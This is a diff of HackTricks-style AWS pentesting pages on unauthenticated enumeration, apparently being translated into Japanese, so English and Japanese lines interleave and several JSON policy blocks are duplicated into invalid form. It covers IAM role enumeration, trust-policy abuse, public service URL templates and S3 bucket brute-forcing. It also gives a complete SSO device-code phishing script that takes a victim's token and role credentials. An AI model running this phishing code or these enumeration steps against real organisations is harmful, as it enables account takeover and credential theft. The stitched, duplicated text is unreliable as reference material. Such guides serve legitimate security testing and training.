# AWS - IAM & STS Unauthenticated Enum
# AWS - IAM & STS 未認証列挙
{{#include ../../../banners/hacktricks-training.md}}
## Enumerate Roles & Usernames in an account
## アカウント内のロールとユーザー名を列挙する
### ~~Assume Role Brute-Force~~
### ~~ロールのブルートフォース攻撃~~
> [!CAUTION]
> **This technique doesn't work** anymore as if the role exists or not you always get this error:
> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが返されます:
>
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
>
> You can **test this running**:
> **これを実行してテストできます**
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:
必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージがトリガーされます。たとえば、無許可の場合、AWSは次のように返すことがあります
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**:
このメッセージはロールの存在を確認しますが、そのロールの引き受けポリシーがあなたの引き受けを許可していないことを示しています。対照的に、**存在しないロールを引き受けようとすると異なるエラーが発生します**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストを使用することで、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。
Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.
この[スクリプトを使用して潜在的なプリンシパルを列挙](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)することができます。
You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
### 信頼ポリシー: ブルートフォースクロスアカウントロールとユーザー
### Trust Policies: Brute-Force Cross Account roles and users
Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義し、一時的な資格情報を取得することを含みます**。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。
> [!WARNING]
> Note that in that resource you could specify a cross account role or user:
> そのリソースでは、クロスアカウントロールまたはユーザーを指定できることに注意してください:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`
This is a policy example:
これはポリシーの例です:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
```
#### GUI
That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)
それは、**存在しないロールを使用した場合**に見つかる**エラー**です。ロールが**存在する**場合、ポリシーは**エラーなし**で**保存**されます。(エラーは更新用ですが、作成時にも機能します)
![](<../../../images/image (153).png>)
#### CLI
```bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```
You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
@@ -111,70 +103,60 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
### Privesc
In the case the role was bad configured an allows anyone to assume it:
役割が不適切に構成されており、誰でもそれを引き受けることができる場合:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
攻撃者はそれを仮定することができます。
The attacker could just assume it.
## Third Party OIDC Federation
Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\
This trust might give access to a role with the following **trust policy**:
## 第三者 OIDC フェデレーション
あなたが **AWS** 内の **ロール** にアクセスしている **Github Actions ワークフロー** を読むことに成功したと想像してください。\
この信頼は、次の **信頼ポリシー** を持つロールへのアクセスを与える可能性があります:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
この信頼ポリシーは正しいかもしれませんが、**より多くの条件がない**ことは信頼できない理由です。\
これは、前のロールが**Github Actionsの誰でも**引き受けられるからです!条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります...
This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\
This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach...
Another potential misconfiguration is to **add a condition** like the following:
別の潜在的な誤設定は、次のような**条件を追加する**ことです:
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
注意してください **ワイルドカード** (\*) **コロン** (:) の前に。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。
Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action.
## References
## 参考文献
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,35 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## AWS Device Code Phishing
## AWSデバイスコードフィッシング
Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
最初に[**このブログ記事**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)で提案されたように、AWS SSOを使用してユーザーに**リンク**を送信することが可能で、**ユーザーが承認**すると、攻撃者は**ユーザーを偽装するためのトークン**を取得し、**Identity Center**でユーザーがアクセスできるすべてのロールにアクセスできるようになります。
In order to perform this attack the requisites are:
この攻撃を実行するための要件は次のとおりです:
- The victim needs to use **Identity Center**
- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
- 被害者は**Identity Center**を使用する必要があります
- 攻撃者は被害者が使用している**サブドメイン**を知っている必要があります `<victimsub>.awsapps.com/start`
Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されれば**、**攻撃者はAWSユーザー**アカウントへのアクセスを得ることができます。
### Attack
### 攻撃
1. **Finding the subdomain**
1. **サブドメインの特定**
The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.
With this info, it's possible to get the region where the Indentity Center was configured with:
攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**または**推測 + ブルートフォース**を使用して行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。
この情報をもとに、Identity Centerが設定されたリージョンを取得することが可能です
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **被害者のリンクを生成して送信する**
2. **Generate the link for the victim & Send it**
Run the following code to generate an AWS SSO login link so the victim can authenticate.\
For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:
次のコードを実行して、被害者が認証できるAWS SSOログインリンクを生成します。\
デモのために、このコードをPythonコンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるので、終了しないでください:
```python
import boto3
@@ -39,89 +36,84 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
生成したリンクを被害者にあなたの素晴らしいソーシャルエンジニアリングスキルを使って送信してください!
Send the generated link to the victim using you awesome social engineering skills!
3. **被害者がそれを受け入れるのを待つ**
3. **Wait until the victim accepts it**
If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\
This is how the promp looks nowadays:
被害者が**すでにAWSにログインしている**場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、**ログインしてから権限を付与することを受け入れる必要があります**。\
これが現在のプロンプトの見た目です:
<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
4. **Get SSO access token**
If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**:
4. **SSOアクセストークンを取得する**
被害者がプロンプトを受け入れた場合、このコードを実行して**ユーザーを偽装してSSOトークンを生成します**
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
SSOアクセストークンは**8時間有効**です。
The SSO access token is **valid for 8h**.
5. **Impersonate the user**
5. **ユーザーを偽装する**
```python
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### フィッシング不可能なMFA
### Phishing the unphisable MFA
以前の攻撃が**「フィッシング不可能なMFA」webAuthが使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がない場合、デバイスコードワークフローが準備されているため、**デバイスによってコードが知られている**と、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。
It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user.
詳細については、[**この投稿を確認してください**](https://mjg59.dreamwidth.org/62175.html)。
For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).
### Automatic Tools
### 自動ツール
- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
## References
## 参考文献
- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
@@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,11 @@
# AWS - IoT Unauthenticated Enum
# AWS - IoT 認証なし列挙
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
https://{random_id}.kinesisvideo.{region}.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,25 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
## Public Function URL
## パブリック関数URL
It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities.
### Public URL template
**Lambda**を誰でもアクセスできる**パブリック関数URL**に関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。
### パブリックURLテンプレート
```
https://{random_id}.lambda-url.{region}.on.aws/
```
### 公開Lambda URLからアカウントIDを取得する
### Get Account ID from public Lambda URL
S3バケット、データ交換、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一文字ずつアカウントIDを見つけることによって行われます。\
この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます(いくつかのデフォルトの興味深いものがあります)。
Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,16 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
https://{random_id}.mediaconvert.{region}.amazonaws.com
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
https://{random_id}.data.mediastore.{region}.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,25 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
## Public Port
## パブリックポート
### **RabbitMQ**
In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
**RabbitMQ**の場合、**デフォルトでパブリックアクセス**とsslが有効になっています。しかし、アクセスするには**認証情報**が必要です(`amqps://.mq.us-east-1.amazonaws.com:5671`​​)。さらに、`https://b-<uuid>.mq.us-east-1.amazonaws.com/`で認証情報を知っていれば**ウェブ管理コンソールにアクセス**することが可能です。
### ActiveMQ
In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access.
### Public URL template
**ActiveMQ**の場合、デフォルトでパブリックアクセスとsslが有効になっていますが、アクセスするには認証情報が必要です。
### パブリックURLテンプレート
```
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,21 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public Port
### パブリックポート
It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured).
**Kafkaブローカーをパブリックに公開することは可能ですが、** **認証情報**IAM権限、または有効な証明書が必要です(設定された認証方法に応じて)。
It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet.
### Public URL template
**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。**
### パブリックURLテンプレート
```
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,23 +1,22 @@
# AWS - RDS Unauthenticated Enum
# AWS - RDS 認証なし列挙
{{#include ../../../banners/hacktricks-training.md}}
## RDS
For more information check:
詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
## Public Port
## 公開ポート
It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database.
**インターネットからデータベースへの公開アクセスを提供することが可能です**。攻撃者は依然として**ユーザー名とパスワード、** IAM アクセス、または**エクスプロイト**を知っている必要があります。
## Public RDS Snapshots
AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account:
## 公開 RDS スナップショット
AWS は**誰でも RDS スナップショットをダウンロードするアクセスを提供することを許可しています**。自分のアカウントからこれらの公開 RDS スナップショットを非常に簡単にリストできます:
```bash
# Public RDS snapshots
aws rds describe-db-snapshots --include-public
@@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
## Even if in the console appear as there are public snapshot it might be public
## snapshots from other accounts used by the current account
```
### Public URL template
### 公開URLテンプレート
```
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
{user_provided}.<random>.<region>.redshift.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,43 +1,43 @@
# AWS - S3 Unauthenticated Enum
# AWS - S3 認証なし列挙
{{#include ../../../banners/hacktricks-training.md}}
## S3 Public Buckets
## S3 パブリックバケット
A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
バケットは、**「パブリック」**と見なされる場合、**任意のユーザーがバケットの内容をリストできる**場合であり、**「プライベート」**と見なされる場合は、バケットの内容が**特定のユーザーによってのみリストまたは書き込まれる**場合です。
Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs).
企業は、**バケットの権限が誤って設定されている**可能性があり、すべてまたはAWSの任意のアカウントで認証されたすべてのユーザーにアクセスを許可している場合がありますつまり、誰にでも。このような誤設定があっても、バケットには独自のアクセス制御リストACLがあるため、特定のアクションが実行できない場合があります。
**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
**AWS-S3の誤設定についてはこちらを学んでください:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud)
### Finding AWS Buckets
### AWS バケットの発見
Different methods to find when a webpage is using AWS to storage some resources:
ウェブページがAWSを使用してリソースを保存しているかどうかを見つけるためのさまざまな方法
#### Enumeration & OSINT:
#### 列挙 & OSINT:
- Using **wappalyzer** browser plugin
- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
- **Check for resources** in domains like:
- **wappalyzer** ブラウザプラグインを使用
- burpを使用してウェブを**スパイダー**する)または手動でページをナビゲートすることで、すべての**リソース**が**履歴**に保存されます。
- 次のドメインで**リソースを確認**
```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
```
```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
```
- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
- The **bucket name** and the **bucket domain name** needs to be **the same.**
- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
- **CNAMES**を確認します。`resources.domain.com``bucket.s3.amazonaws.com`のCNAMEを持っている可能性があります。
- すでに**発見されたオープンバケット**を持つウェブサイト[https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)を確認します。
- **バケット名**と**バケットドメイン名**は**同じである必要があります。**
- **flaws.cloud****IP** 52.92.181.107にあり、そこに行くと[https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)にリダイレクトされます。また、`dig -x 52.92.181.107``s3-website-us-west-2.amazonaws.com`を返します。
- バケットであることを確認するには、[https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)を**訪問**することもできます。
#### Brute-Force
#### ブルートフォース
You can find buckets by **brute-forcing name**s related to the company you are pentesting:
ペンテストしている会社に関連する**名前をブルートフォース**することでバケットを見つけることができます:
- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump)(潜在的なバケット名のリストを含む)
- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
@@ -45,48 +45,47 @@ You can find buckets by **brute-forcing name**s related to the company you are p
- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
<pre class="language-bash"><code class="lang-bash"># パーミュテーションを作成するためのワードリストを生成
curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
# Generate a wordlist based on the domains and subdomains to test
## Write those domains and subdomains in subdomains.txt
# テストするためのドメインとサブドメインに基づいてワードリストを生成
## これらのドメインとサブドメインをsubdomains.txtに書き込む
cat subdomains.txt > /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
# Create permutations based in a list with the domains and subdomains to attack
# 攻撃するためのドメインとサブドメインのリストに基づいてパーミュテーションを作成
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
## The previous tool is specialized increating permutations for subdomains, lets filter that list
<strong>### Remove lines ending with "."
## 前のツールはサブドメインのパーミュテーションを作成することに特化しているので、そのリストをフィルタリングします
<strong>### ".で終わる行を削除
</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
### Create list without TLD
### TLDなしのリストを作成
cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
### Create list without dots
### ドットなしのリストを作成
cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
### Create list without hyphens
### ハイフンなしのリストを作成
cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
## Generate the final wordlist
## 最終的なワードリストを生成
cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
## Call s3scanner
## s3scannerを呼び出す
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
</code></pre>
#### Loot S3 Buckets
#### S3 バケットの略奪
Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**.
S3のオープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。
### Find the Region
### リージョンを見つける
You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
AWSがサポートしているすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。
#### By DNS
You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**:
#### DNSによる
**`dig`**および**`nslookup`**を使用して、発見されたIPの**DNSリクエスト**を行うことで、バケットのリージョンを取得できます:
```bash
dig flaws.cloud
;; ANSWER SECTION:
@@ -96,31 +95,29 @@ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```
ドメインが「website」という単語を含んでいることを確認してください。\
静的ウェブサイトには次のURLでアクセスできます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
または、バケットには次のURLでアクセスできます: `flaws.cloud.s3-us-west-2.amazonaws.com`
Check that the resolved domain have the word "website".\
You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
#### 試してみる
#### By Trying
If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
バケットにアクセスしようとしたが、**指定したドメイン名が別のリージョン**である場合(例えば、バケットが`bucket.s3.amazonaws.com`にあるが、`bucket.s3-website-us-west-2.amazonaws.com`にアクセスしようとした場合)、**正しい場所に誘導されます**:
![](<../../../images/image (106).png>)
### Enumerating the bucket
### バケットの列挙
